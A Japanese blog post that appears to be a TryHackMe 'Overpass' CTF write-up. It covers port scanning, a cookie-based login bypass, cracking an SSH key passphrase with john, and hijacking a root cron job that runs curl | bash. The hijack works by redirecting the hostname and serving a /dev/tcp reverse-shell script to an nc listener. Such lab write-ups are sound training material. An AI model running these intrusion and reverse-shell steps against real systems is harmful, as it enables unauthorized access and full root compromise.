はまやんはまやんはまやん

hamayanhamayan's blog

Overpass 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210520201742p:plain

一部を■で隠しています。

第一段階:ユーザーシェルを奪う

とりあえずnmapとgobuster

$ nmap -sC -sV $IP
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wr -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
http://$IP/aboutus (Status: 301)
http://$IP/admin (Status: 301)
http://$IP/css (Status: 301)
http://$IP/downloads (Status: 301)
http://$IP/img (Status: 301)
http://$IP/index.html (Status: 301)

ふむ。サイトを見てみよう。

サイトをクラックする

色々巡回するもこれといった情報が手に入らない。
burpを付けながらやっていたので、ログを見ながらソースコードを確認してみる。
/login.jsが気になりますね。

async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

認証が成功するとSessionTokenというCookieが発行されるみたい。
これを試しに付けて/adminを訪れてみる。
すると、Jamesのprivate keyが得られる。

Jamesのシェルを奪う

そのまま渡してもパスワードが要求されるので、johnでクラックする。

$ python2 /usr/share/john/ssh2john.py pri.key > hash.txt
$ john --wordlist=/usr/share/dirb/wordlists/rockyou.txt hash.txt
■■■■■■■■          (pri.key)

ok.
あとは、ログインしてファイルを探す。

$ ssh -i ./pri.key james@$IP
james@overpass-prod:~$ ls
todo.txt  user.txt
james@overpass-prod:~$ cat user.txt
■■■■■■■■■■■■■■■■■■■

第二段階:管理者シェルを奪う

todo.txtというのがあるので中身を見てみる。

To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

ほう。自動でビルドシステムが立ち上がるらしい。
自動処理といえば色々あるが、cronを見てみよう。

$ cat /etc/crontab
# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

ほう。root権限でこれが呼ばれるのか。
このスクリプトをリバースシェルに差し替えれば良さそう。

まずは、リバースシェルを用意しよう。
フォルダ構造もしっかり似せるのが大事。
/downloads/src/buildscript.shを作成してbash -i >& /dev/tcp/[your IP]/30303 0>&1とする。
で、downloadsと同階層で> python -m http.server 80とやって待っておこう。

次にリバースシェルの準備をしておく。
> nc -vnlp 30303

最後に攻撃PC側でoverpass.thmの定義を書き換える。
nano /etc/hostsをして[Your IP] overpass.thmのように書き換えよう。
これでリバースシェルが刺さって権限昇格する!
あとは、フラグを持ってくれば答え。

root@overpass-prod:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@overpass-prod:~# cd /root
cd /root

root@overpass-prod:~#
root@overpass-prod:~# ls
ls
buildStatus
builds
go
root.txt
src
root@overpass-prod:~# cat root.txt
cat root.txt
■■■■■■■■■■■■■